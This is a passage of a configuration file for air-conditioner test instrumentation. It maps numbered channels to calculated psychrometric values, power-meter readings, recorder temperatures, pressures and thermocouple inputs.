CH71 = ID11.Entering.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH72 = ID11.Leaving.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH73 = ID11.Leaving.Specific.Heat,Heat,kcal,0.0000,true,true,Heat
CH74 = ID11.Leaving.Specific.Volume,Volume,m3_kg,0.0000,true,true,Volume
CH75 = ID11.Air.Flow.Lev,AirFlow,CMM,0.00,true,true,AirFlow
CH76 = ID11.Air.Velocity.Lev,Velocity,m_s,0.000,true,true,Velocity
CH77 = ID12.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH78 = ID12.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH79 = ID12.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH80 = ID12.Sensible.Heat,Capacity,kcal,0.0,true,true,Capacity
CH81 = ID12.Latent.Heat,Capacity,kcal,0.0,true,true,Capacity
CH82 = ID12.Sensible.Heat.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH83 = ID12.Heat.Leakage,Capacity,kcal,0.0,true,true,Capacity
CH84 = ID12.Drain.Weight,Flux,kg_h,0.00,true,true,Flux
CH85 = ID12.Leaving.RH,Ratio,Percent,0.00,true,true,Ratio
CH86 = ID12.Entering.Enthalpy,Enthalpy,kcal,0.000,true,true,Enthalpy
CH87 = ID12.Leaving.Enthalpy,Enthalpy,kcal,0.000,true,true,Enthalpy
CH88 = ID12.Entering.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH89 = ID12.Leaving.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH90 = ID12.Leaving.Specific.Heat,Heat,kcal,0.0000,true,true,Heat
CH91 = ID12.Leaving.Specific.Volume,Volume,m3_kg,0.0000,true,true,Volume
CH92 = ID12.Air.Flow.Lev,AirFlow,CMM,0.00,true,true,AirFlow
CH93 = ID12.Air.Velocity.Lev,Velocity,m_s,0.000,true,true,Velocity
CH94 = ID21.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH95 = ID21.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH96 = ID21.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH97 = ID21.Sensible.Heat,Capacity,kcal,0.0,true,true,Capacity
CH98 = ID21.Latent.Heat,Capacity,kcal,0.0,true,true,Capacity
CH99 = ID21.Sensible.Heat.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH100 = ID21.Heat.Leakage,Capacity,kcal,0.0,true,true,Capacity
CH101 = ID21.Drain.Weight,Flux,kg_h,0.00,true,true,Flux
CH102 = ID21.Leaving.RH,Ratio,Percent,0.00,true,true,Ratio
CH103 = ID21.Entering.Enthalpy,Enthalpy,kcal,0.000,true,true,Default
CH104 = ID21.Leaving.Enthalpy,Enthalpy,kcal,0.000,true,true,Default
CH105 = ID21.Entering.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH106 = ID21.Leaving.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH107 = ID21.Leaving.Specific.Heat,Heat,kcal,0.0000,true,true,Heat
CH108 = ID21.Leaving.Specific.Volume,Volume,m3_kg,0.0000,true,true,Volume
CH109 = ID21.Air.Flow.Lev,AirFlow,CMM,0.00,true,true,AirFlow
CH110 = ID21.Air.Velocity.Lev,Velocity,m_s,0.000,true,true,Velocity
CH111 = ID22.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH112 = ID22.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH113 = ID22.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH114 = ID22.Sensible.Heat,Capacity,kcal,0.0,true,true,Capacity
CH115 = ID22.Latent.Heat,Capacity,kcal,0.0,true,true,Capacity
CH116 = ID22.Sensible.Heat.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH117 = ID22.Heat.Leakage,Capacity,kcal,0.0,true,true,Capacity
CH118 = ID22.Drain.Weight,Flux,kg_h,0.00,true,true,Flux
CH119 = ID22.Leaving.RH,Ratio,Percent,0.00,true,true,Ratio
CH120 = ID22.Entering.Enthalpy,Enthalpy,kcal,0.000,true,true,Default
CH121 = ID22.Leaving.Enthalpy,Enthalpy,kcal,0.000,true,true,Default
CH122 = ID22.Entering.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH123 = ID22.Leaving.Humidity.Ratio,HumidityRatio,kg_kg,0.0000,true,true,HumidityRatio
CH124 = ID22.Leaving.Specific.Heat,Heat,kcal,0.0000,true,true,Heat
CH125 = ID22.Leaving.Specific.Volume,Volume,m3_kg,0.0000,true,true,Volume
CH126 = ID22.Air.Flow.Lev,AirFlow,CMM,0.00,true,true,AirFlow
CH127 = ID22.Air.Velocity.Lev,Velocity,m_s,0.000,true,true,Velocity
CH128 = ID11.Nozzle,None,None,0.0,false,false,None
CH129 = ID12.Nozzle,None,None,0.0,false,false,None
CH130 = ID21.Nozzle,None,None,0.0,false,false,None
CH131 = ID22.Nozzle,None,None,0.0,false,false,None
[Measured.Channel]
;PowerMeter-1
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH1 = PM1.R.W,Power,W,0.0,false,false,Power
CH2 = PM1.R.V,Voltage,V,0.0,false,false,Voltage
CH3 = PM1.R.A,Current,A,0.000,false,false,Current
CH4 = PM1.R.Hz,Frequency,Hz,0.00,false,false,Frequency
CH5 = PM1.R.PF,Ratio,Percent,0.00,false,false,Ratio
CH6 = PM1.R.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH7 = PM1.S.W,Power,W,0.0,false,false,Power
CH8 = PM1.S.V,Voltage,V,0.0,false,false,Voltage
CH9 = PM1.S.A,Current,A,0.000,false,false,Current
CH10 = PM1.S.Hz,Frequency,Hz,0.00,false,false,Frequency
CH11 = PM1.S.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH12 = PM1.S.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH13 = PM1.T.W,Power,W,0.0,false,false,Power
CH14 = PM1.T.V,Voltage,V,0.0,false,false,Voltage
CH15 = PM1.T.A,Current,A,0.000,false,false,Current
CH16 = PM1.T.Hz,Frequency,Hz,0.00,false,false,Frequency
CH17 = PM1.T.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH18 = PM1.T.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH19 = PM1.Sigma.W,Power,W,0.0,false,false,Power
CH20 = PM1.Sigma.V,Voltage,V,0.0,false,false,Voltage
CH21 = PM1.Sigma.A,Current,A,0.000,false,false,Current
CH22 = PM1.Sigma.Hz,Frequency,Hz,0.00,false,false,Frequency
CH23 = PM1.Sigma.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH24 = PM1.Sigma.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH25 = PM1.Time,Time,sec,0.0,false,false,Time
;PowerMeter-2
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH26 = PM2.R.W,Power,W,0.0,false,false,Power
CH27 = PM2.R.V,Voltage,V,0.0,false,false,Voltage
CH28 = PM2.R.A,Current,A,0.000,false,false,Current
CH29 = PM2.R.Hz,Frequency,Hz,0.00,false,false,Frequency
CH30 = PM2.R.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH31 = PM2.R.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH32 = PM2.S.W,Power,W,0.0,false,false,Power
CH33 = PM2.S.V,Voltage,V,0.0,false,false,Voltage
CH34 = PM2.S.A,Current,A,0.000,false,false,Current
CH35 = PM2.S.Hz,Frequency,Hz,0.00,false,false,Frequency
CH36 = PM2.S.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH37 = PM2.S.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH38 = PM2.T.W,Power,W,0.0,false,false,Power
CH39 = PM2.T.V,Voltage,V,0.0,false,false,Voltage
CH40 = PM2.T.A,Current,A,0.000,false,false,Current
CH41 = PM2.T.Hz,Frequency,Hz,0.00,false,false,Frequency
CH42 = PM2.T.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH43 = PM2.T.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH44 = PM2.Sigma.W,Power,W,0.0,false,false,Power
CH45 = PM2.Sigma.V,Voltage,V,0.0,false,false,Voltage
CH46 = PM2.Sigma.A,Current,A,0.000,false,false,Current
CH47 = PM2.Sigma.Hz,Frequency,Hz,0.00,false,false,Frequency
CH48 = PM2.Sigma.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH49 = PM2.Sigma.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH50 = PM2.Time,Time,sec,0.0,false,false,Time
;PowerMeter-3
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH51 = PM3.R.W,Power,W,0.0,false,false,Power
CH52 = PM3.R.V,Voltage,V,0.0,false,false,Voltage
CH53 = PM3.R.A,Current,A,0.000,false,false,Current
CH54 = PM3.R.Hz,Frequency,Hz,0.00,false,false,Frequency
CH55 = PM3.R.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH56 = PM3.R.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH57 = PM3.S.W,Power,W,0.0,false,false,Power
CH58 = PM3.S.V,Voltage,V,0.0,false,false,Voltage
CH59 = PM3.S.A,Current,A,0.000,false,false,Current
CH60 = PM3.S.Hz,Frequency,Hz,0.00,false,false,Frequency
CH61 = PM3.S.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH62 = PM3.S.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH63 = PM3.T.W,Power,W,0.0,false,false,Power
CH64 = PM3.T.V,Voltage,V,0.0,false,false,Voltage
CH65 = PM3.T.A,Current,A,0.000,false,false,Current
CH66 = PM3.T.Hz,Frequency,Hz,0.00,false,false,Frequency
CH67 = PM3.T.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH68 = PM3.T.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH69 = PM3.Sigma.W,Power,W,0.0,false,false,Power
CH70 = PM3.Sigma.V,Voltage,V,0.0,false,false,Voltage
CH71 = PM3.Sigma.A,Current,A,0.000,false,false,Current
CH72 = PM3.Sigma.Hz,Frequency,Hz,0.00,false,false,Frequency
CH73 = PM3.Sigma.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH74 = PM3.Sigma.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH75 = PM3.Time,Time,sec,0.0,false,false,Time
;PowerMeter-4
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH76 = PM4.R.W,Power,W,0.0,false,false,Power
CH77 = PM4.R.V,Voltage,V,0.0,false,false,Voltage
CH78 = PM4.R.A,Current,A,0.000,false,false,Current
CH79 = PM4.R.Hz,Frequency,Hz,0.00,false,false,Frequency
CH80 = PM4.R.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH81 = PM4.R.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH82 = PM4.S.W,Power,W,0.0,false,false,Power
CH83 = PM4.S.V,Voltage,V,0.0,false,false,Voltage
CH84 = PM4.S.A,Current,A,0.000,false,false,Current
CH85 = PM4.S.Hz,Frequency,Hz,0.00,false,false,Frequency
CH86 = PM4.S.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH87 = PM4.S.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH88 = PM4.T.W,Power,W,0.0,false,false,Power
CH89 = PM4.T.V,Voltage,V,0.0,false,false,Voltage
CH90 = PM4.T.A,Current,A,0.000,false,false,Current
CH91 = PM4.T.Hz,Frequency,Hz,0.00,false,false,Frequency
CH92 = PM4.T.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH93 = PM4.T.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH94 = PM4.Sigma.W,Power,W,0.0,false,false,Power
CH95 = PM4.Sigma.V,Voltage,V,0.0,false,false,Voltage
CH96 = PM4.Sigma.A,Current,A,0.000,false,false,Current
CH97 = PM4.Sigma.Hz,Frequency,Hz,0.00,false,false,Frequency
CH98 = PM4.Sigma.PF,Ratio,Percent,0.00,false,false,PowerFactor
CH99 = PM4.Sigma.Wh,PowerComsumption,Wh,0.000,false,false,PowerComsumption
CH100 = PM4.Time,Time,sec,0.0,false,false,Time
;Recorder-1
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH101 = ID11.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH102 = ID11.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH103 = ID11.Leaving.DB,Temperature,Celsius,0.00,true,true,Temperature
CH104 = ID11.Leaving.WB,Temperature,Celsius,0.00,true,true,Temperature
CH105 = ID11.Nozzle.Diff.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH106 = ID11.Static.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH107 = ID11.Nozzle.Inlet.Temp,Temperature,Celsius,0.00,true,true,Temperature
CH108 = ID12.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH109 = ID12.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH110 = ID12.Leaving.DB,Temperature,Celsius,0.00,true,true,Temperature
CH111 = ID12.Leaving.WB,Temperature,Celsius,0.00,true,true,Temperature
CH112 = ID12.Nozzle.Diff.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH113 = ID12.Static.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH114 = ID12.Nozzle.Inlet.Temp,Temperature,Celsius,0.00,true,true,Temperature
CH115 = ID1.Atm.Pressure,AtmPressure,mmHg,0.00,true,true,AtmPressure
CH116 = ID21.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH117 = ID21.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH118 = ID21.Leaving.DB,Temperature,Celsius,0.00,true,true,Temperature
CH119 = ID21.Leaving.WB,Temperature,Celsius,0.00,true,true,Temperature
CH120 = ID21.Nozzle.Diff.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH121 = ID21.Static.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH122 = ID21.Nozzle.Inlet.Temp,Temperature,Celsius,0.00,true,true,Temperature
CH123 = ID22.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH124 = ID22.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH125 = ID22.Leaving.DB,Temperature,Celsius,0.00,true,true,Temperature
CH126 = ID22.Leaving.WB,Temperature,Celsius,0.00,true,true,Temperature
CH127 = ID22.Nozzle.Diff.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH128 = ID22.Static.Pressure,DiffPressure,mmAq,0.00,true,true,DiffPressure
CH129 = ID22.Nozzle.Inlet.Temp,Temperature,Celsius,0.00,true,true,Temperature
CH130 = ID2.Atm.Pressure,AtmPressure,mmHg,0.00,true,true,AtmPressure
CH131 = OD.Entering.DB,Temperature,Celsius,0.00,true,true,Temperature
CH132 = OD.Entering.WB,Temperature,Celsius,0.00,true,true,Temperature
CH133 = OD.Entering.DP,Temperature,Celsius,0.00,true,true,Temperature
CH134 = Pressure.1,Pressure,kg_cm2,0.00,true,true,Pressure
CH135 = Pressure.2,Pressure,kg_cm2,0.00,true,true,Pressure
CH136 = Pressure.3,Pressure,kg_cm2,0.00,true,true,Pressure
CH137 = Pressure.4,Pressure,kg_cm2,0.00,true,true,Pressure
CH138 = Pressure.5,Pressure,kg_cm2,0.00,true,true,Pressure
CH139 = Pressure.6,Pressure,kg_cm2,0.00,true,true,Pressure
CH140 = Pressure.7,Pressure,kg_cm2,0.00,true,true,Pressure
CH141 = Pressure.8,Pressure,kg_cm2,0.00,true,true,Pressure
CH142 = None.1,None,None,0.0,false,false,None
CH143 = None.2,None,None,0.0,false,false,None
CH144 = None.3,None,None,0.0,false,false,None
CH145 = None.4,None,None,0.0,false,false,None
CH146 = None.5,None,None,0.0,false,false,None
CH147 = None.6,None,None,0.0,false,false,None
CH148 = None.7,None,None,0.0,false,false,None
CH149 = None.8,None,None,0.0,false,false,None
CH150 = None.9,None,None,0.0,false,false,None
CH151 = None.10,None,None,0.0,false,false,None
CH152 = None.11,None,None,0.0,false,false,None
CH153 = None.12,None,None,0.0,false,false,None
CH154 = None.13,None,None,0.0,false,false,None
CH155 = None.14,None,None,0.0,false,false,None
CH156 = None.15,None,None,0.0,false,false,None
CH157 = None.16,None,None,0.0,false,false,None
CH158 = None.17,None,None,0.0,false,false,None
CH159 = None.18,None,None,0.0,false,false,None
CH160 = None.19,None,None,0.0,false,false,None
CH161 = ID1.TC.001,Temperature,Celsius,0.0,true,true,Temperature
CH162 = ID1.TC.002,Temperature,Celsius,0.0,true,true,Temperature
CH163 = ID1.TC.003,Temperature,Celsius,0.0,true,true,Temperature
CH164 = ID1.TC.004,Temperature,Celsius,0.0,true,true,Temperature
CH165 = ID1.TC.005,Temperature,Celsius,0.0,true,true,Temperature
CH166 = ID1.TC.006,Temperature,Celsius,0.0,true,true,Temperature
CH167 = ID1.TC.007,Temperature,Celsius,0.0,true,true,Temperature
CH168 = ID1.TC.008,Temperature,Celsius,0.0,true,true,Temperature
CH169 = ID1.TC.009,Temperature,Celsius,0.0,true,true,Temperature
CH170 = ID1.TC.010,Temperature,Celsius,0.0,true,true,Temperature
CH171 = ID1.TC.011,Temperature,Celsius,0.0,true,true,Temperature
CH172 = ID1.TC.012,Temperature,Celsius,0.0,true,true,Temperature
CH173 = ID1.TC.013,Temperature,Celsius,0.0,true,true,Temperature
CH174 = ID1.TC.014,Temperature,Celsius,0.0,true,true,Temperature
CH175 = ID1.TC.015,Temperature,Celsius,0.0,true,true,Temperature
CH176 = ID1.TC.016,Temperature,Celsius,0.0,true,true,Temperature
CH177 = ID1.TC.017,Temperature,Celsius,0.0,true,true,Temperature
CH178 = ID1.TC.018,Temperature,Celsius,0.0,true,true,Temperature
CH179 = ID1.TC.019,Temperature,Celsius,0.0,true,true,Temperature
CH180 = ID1.TC.020,Temperature,Celsius,0.0,true,true,Temperature
CH181 = ID1.TC.021,Temperature,Celsius,0.0,true,true,Temperature
CH182 = ID1.TC.022,Temperature,Celsius,0.0,true,true,Temperature
CH183 = ID1.TC.023,Temperature,Celsius,0.0,true,true,Temperature
CH184 = ID1.TC.024,Temperature,Celsius,0.0,true,true,Temperature
CH185 = ID1.TC.025,Temperature,Celsius,0.0,true,true,Temperature
CH186 = ID1.TC.026,Temperature,Celsius,0.0,true,true,Temperature
CH187 = ID1.TC.027,Temperature,Celsius,0.0,true,true,Temperature
CH188 = ID1.TC.028,Temperature,Celsius,0.0,true,true,Temperature
CH189 = ID1.TC.029,Temperature,Celsius,0.0,true,true,Temperature
CH190 = ID1.TC.030,Temperature,Celsius,0.0,true,true,Temperature
CH191 = ID1.TC.031,Temperature,Celsius,0.0,true,true,Temperature
CH192 = ID1.TC.032,Temperature,Celsius,0.0,true,true,Temperature
CH193 = ID1.TC.033,Temperature,Celsius,0.0,true,true,Temperature
CH194 = ID1.TC.034,Temperature,Celsius,0.0,true,true,Temperature
CH195 = ID1.TC.035,Temperature,Celsius,0.0,true,true,Temperature
CH196 = ID1.TC.036,Temperature,Celsius,0.0,true,true,Temperature
CH197 = ID1.TC.037,Temperature,Celsius,0.0,true,true,Temperature
CH198 = ID1.TC.038,Temperature,Celsius,0.0,true,true,Temperature
CH199 = ID1.TC.039,Temperature,Celsius,0.0,true,true,Temperature
CH200 = ID1.TC.040,Temperature,Celsius,0.0,true,true,Temperature
CH201 = ID1.TC.041,Temperature,Celsius,0.0,true,true,Temperature
CH202 = ID1.TC.042,Temperature,Celsius,0.0,true,true,Temperature
CH203 = ID1.TC.043,Temperature,Celsius,0.0,true,true,Temperature
CH204 = ID1.TC.044,Temperature,Celsius,0.0,true,true,Temperature
CH205 = ID1.TC.045,Temperature,Celsius,0.0,true,true,Temperature
CH206 = ID1.TC.046,Temperature,Celsius,0.0,true,true,Temperature
CH207 = ID1.TC.047,Temperature,Celsius,0.0,true,true,Temperature
CH208 = ID1.TC.048,Temperature,Celsius,0.0,true,true,Temperature
CH209 = ID1.TC.049,Temperature,Celsius,0.0,true,true,Temperature
CH210 = ID1.TC.050,Temperature,Celsius,0.0,true,true,Temperature
CH211 = ID1.TC.051,Temperature,Celsius,0.0,true,true,Temperature
CH212 = ID1.TC.052,Temperature,Celsius,0.0,true,true,Temperature
CH213 = ID1.TC.053,Temperature,Celsius,0.0,true,true,Temperature
CH214 = ID1.TC.054,Temperature,Celsius,0.0,true,true,Temperature
CH215 = ID1.TC.055,Temperature,Celsius,0.0,true,true,Temperature
CH216 = ID1.TC.056,Temperature,Celsius,0.0,true,true,Temperature
CH217 = ID1.TC.057,Temperature,Celsius,0.0,true,true,Temperature
CH218 = ID1.TC.058,Temperature,Celsius,0.0,true,true,Temperature
CH219 = ID1.TC.059,Temperature,Celsius,0.0,true,true,Temperature
CH220 = ID1.TC.060,Temperature,Celsius,0.0,true,true,Temperature
CH221 = ID2.TC.001,Temperature,Celsius,0.0,true,true,Temperature
CH222 = ID2.TC.002,Temperature,Celsius,0.0,true,true,Temperature
CH223 = ID2.TC.003,Temperature,Celsius,0.0,true,true,Temperature
CH224 = ID2.TC.004,Temperature,Celsius,0.0,true,true,Temperature
CH225 = ID2.TC.005,Temperature,Celsius,0.0,true,true,Temperature
CH226 = ID2.TC.006,Temperature,Celsius,0.0,true,true,Temperature
CH227 = ID2.TC.007,Temperature,Celsius,0.0,true,true,Temperature
CH228 = ID2.TC.008,Temperature,Celsius,0.0,true,true,Temperature
CH229 = ID2.TC.009,Temperature,Celsius,0.0,true,true,Temperature
CH230 = ID2.TC.010,Temperature,Celsius,0.0,true,true,Temperature
CH231 = ID2.TC.011,Temperature,Celsius,0.0,true,true,Temperature
CH232 = ID2.TC.012,Temperature,Celsius,0.0,true,true,Temperature
CH233 = ID2.TC.013,Temperature,Celsius,0.0,true,true,Temperature
CH234 = ID2.TC.014,Temperature,Celsius,0.0,true,true,Temperature
CH235 = ID2.TC.015,Temperature,Celsius,0.0,true,true,Temperature
CH236 = ID2.TC.016,Temperature,Celsius,0.0,true,true,Temperature
CH237 = ID2.TC.017,Temperature,Celsius,0.0,true,true,Temperature
CH238 = ID2.TC.018,Temperature,Celsius,0.0,true,true,Temperature
CH239 = ID2.TC.019,Temperature,Celsius,0.0,true,true,Temperature
CH240 = ID2.TC.020,Temperature,Celsius,0.0,true,true,Temperature
CH241 = ID2.TC.021,Temperature,Celsius,0.0,true,true,Temperature
CH242 = ID2.TC.022,Temperature,Celsius,0.0,true,true,Temperature
CH243 = ID2.TC.023,Temperature,Celsius,0.0,true,true,Temperature
CH244 = ID2.TC.024,Temperature,Celsius,0.0,true,true,Temperature
CH245 = ID2.TC.025,Temperature,Celsius,0.0,true,true,Temperature
CH246 = ID2.TC.026,Temperature,Celsius,0.0,true,true,Temperature
CH247 = ID2.TC.027,Temperature,Celsius,0.0,true,true,Temperature
CH248 = ID2.TC.028,Temperature,Celsius,0.0,true,true,Temperature
CH249 = ID2.TC.029,Temperature,Celsius,0.0,true,true,Temperature
CH250 = ID2.TC.030,Temperature,Celsius,0.0,true,true,Temperature
CH251 = ID2.TC.031,Temperature,Celsius,0.0,true,true,Temperature
CH252 = ID2.TC.032,Temperature,Celsius,0.0,true,true,Temperature
CH253 = ID2.TC.033,Temperature,Celsius,0.0,true,true,Temperature
CH254 = ID2.TC.034,Temperature,Celsius,0.0,true,true,Temperature
CH255 = ID2.TC.035,Temperature,Celsius,0.0,true,true,Temperature
CH256 = ID2.TC.036,Temperature,Celsius,0.0,true,true,Temperature
CH257 = ID2.TC.037,Temperature,Celsius,0.0,true,true,Temperature
CH258 = ID2.TC.038,Temperature,Celsius,0.0,true,true,Temperature
CH259 = ID2.TC.039,Temperature,Celsius,0.0,true,true,Temperature
CH260 = ID2.TC.040,Temperature,Celsius,0.0,true,true,Temperature
CH261 = ID2.TC.041,Temperature,Celsius,0.0,true,true,Temperature
CH262 = ID2.TC.042,Temperature,Celsius,0.0,true,true,Temperature
CH263 = ID2.TC.043,Temperature,Celsius,0.0,true,true,Temperature
CH264 = ID2.TC.044,Temperature,Celsius,0.0,true,true,Temperature
CH265 = ID2.TC.045,Temperature,Celsius,0.0,true,true,Temperature
CH266 = ID2.TC.046,Temperature,Celsius,0.0,true,true,Temperature
CH267 = ID2.TC.047,Temperature,Celsius,0.0,true,true,Temperature
CH268 = ID2.TC.048,Temperature,Celsius,0.0,true,true,Temperature
CH269 = ID2.TC.049,Temperature,Celsius,0.0,true,true,Temperature
CH270 = ID2.TC.050,Temperature,Celsius,0.0,true,true,Temperature
CH271 = ID2.TC.051,Temperature,Celsius,0.0,true,true,Temperature
CH272 = ID2.TC.052,Temperature,Celsius,0.0,true,true,Temperature
CH273 = ID2.TC.053,Temperature,Celsius,0.0,true,true,Temperature
CH274 = ID2.TC.054,Temperature,Celsius,0.0,true,true,Temperature
CH275 = ID2.TC.055,Temperature,Celsius,0.0,true,true,Temperature
CH276 = ID2.TC.056,Temperature,Celsius,0.0,true,true,Temperature
CH277 = ID2.TC.057,Temperature,Celsius,0.0,true,true,Temperature
CH278 = ID2.TC.058,Temperature,Celsius,0.0,true,true,Temperature
CH279 = ID2.TC.059,Temperature,Celsius,0.0,true,true,Temperature
CH280 = ID2.TC.060,Temperature,Celsius,0.0,true,true,Temperature
CH281 = OD.TC.001,Temperature,Celsius,0.0,true,true,Temperature
CH282 = OD.TC.002,Temperature,Celsius,0.0,true,true,Temperature
CH283 = OD.TC.003,Temperature,Celsius,0.0,true,true,Temperature
CH284 = OD.TC.004,Temperature,Celsius,0.0,true,true,Temperature
CH285 = OD.TC.005,Temperature,Celsius,0.0,true,true,Temperature
CH286 = OD.TC.006,Temperature,Celsius,0.0,true,true,Temperature
CH287 = OD.TC.007,Temperature,Celsius,0.0,true,true,Temperature
CH288 = OD.TC.008,Temperature,Celsius,0.0,true,true,Temperature
CH289 = OD.TC.009,Temperature,Celsius,0.0,true,true,Temperature
CH290 = OD.TC.010,Temperature,Celsius,0.0,true,true,Temperature
CH291 = OD.TC.011,Temperature,Celsius,0.0,true,true,Temperature
CH292 = OD.TC.012,Temperature,Celsius,0.0,true,true,Temperature
CH293 = OD.TC.013,Temperature,Celsius,0.0,true,true,Temperature
CH294 = OD.TC.014,Temperature,Celsius,0.0,true,true,Temperature
CH295 = OD.TC.015,Temperature,Celsius,0.0,true,true,Temperature
CH296 = OD.TC.016,Temperature,Celsius,0.0,true,true,Temperature
CH297 = OD.TC.017,Temperature,Celsius,0.0,true,true,Temperature
CH298 = OD.TC.018,Temperature,Celsius,0.0,true,true,Temperature
CH299 = OD.TC.019,Temperature,Celsius,0.0,true,true,Temperature
CH300 = OD.TC.020,Temperature,Celsius,0.0,true,true,Temperature
CH301 = OD.TC.021,Temperature,Celsius,0.0,true,true,Temperature
CH302 = OD.TC.022,Temperature,Celsius,0.0,true,true,Temperature
CH303 = OD.TC.023,Temperature,Celsius,0.0,true,true,Temperature
CH304 = OD.TC.024,Temperature,Celsius,0.0,true,true,Temperature
CH305 = OD.TC.025,Temperature,Celsius,0.0,true,true,Temperature
CH306 = OD.TC.026,Temperature,Celsius,0.0,true,true,Temperature
CH307 = OD.TC.027,Temperature,Celsius,0.0,true,true,Temperature
CH308 = OD.TC.028,Temperature,Celsius,0.0,true,true,Temperature
CH309 = OD.TC.029,Temperature,Celsius,0.0,true,true,Temperature
CH310 = OD.TC.030,Temperature,Celsius,0.0,true,true,Temperature
CH311 = OD.TC.031,Temperature,Celsius,0.0,true,true,Temperature
CH312 = OD.TC.032,Temperature,Celsius,0.0,true,true,Temperature
CH313 = OD.TC.033,Temperature,Celsius,0.0,true,true,Temperature
CH314 = OD.TC.034,Temperature,Celsius,0.0,true,true,Temperature
CH315 = OD.TC.035,Temperature,Celsius,0.0,true,true,Temperature
CH316 = OD.TC.036,Temperature,Celsius,0.0,true,true,Temperature
CH317 = OD.TC.037,Temperature,Celsius,0.0,true,true,Temperature
CH318 = OD.TC.038,Temperature,Celsius,0.0,true,true,Temperature
CH319 = OD.TC.039,Temperature,Celsius,0.0,true,true,Temperature
CH320 = OD.TC.040,Temperature,Celsius,0.0,true,true,Temperature
CH321 = OD.TC.041,Temperature,Celsius,0.0,true,true,Temperature
CH322 = OD.TC.042,Temperature,Celsius,0.0,true,true,Temperature
CH323 = OD.TC.043,Temperature,Celsius,0.0,true,true,Temperature
CH324 = OD.TC.044,Temperature,Celsius,0.0,true,true,Temperature
CH325 = OD.TC.045,Temperature,Celsius,0.0,true,true,Temperature
CH326 = OD.TC.046,Temperature,Celsius,0.0,true,true,Temperature
CH327 = OD.TC.047,Temperature,Celsius,0.0,true,true,Temperature
CH328 = OD.TC.048,Temperature,Celsius,0.0,true,true,Temperature
CH329 = OD.TC.049,Temperature,Celsius,0.0,true,true,Temperature
CH330 = OD.TC.050,Temperature,Celsius,0.0,true,true,Temperature
CH331 = OD.TC.051,Temperature,Celsius,0.0,true,true,Temperature
CH332 = OD.TC.052,Temperature,Celsius,0.0,true,true,Temperature
CH333 = OD.TC.053,Temperature,Celsius,0.0,true,true,Temperature
CH334 = OD.TC.054,Temperature,Celsius,0.0,true,true,Temperature
CH335 = OD.TC.055,Temperature,Celsius,0.0,true,true,Temperature
CH336 = OD.TC.056,Temperature,Celsius,0.0,true,true,Temperature
CH337 = OD.TC.057,Temperature,Celsius,0.0,true,true,Temperature
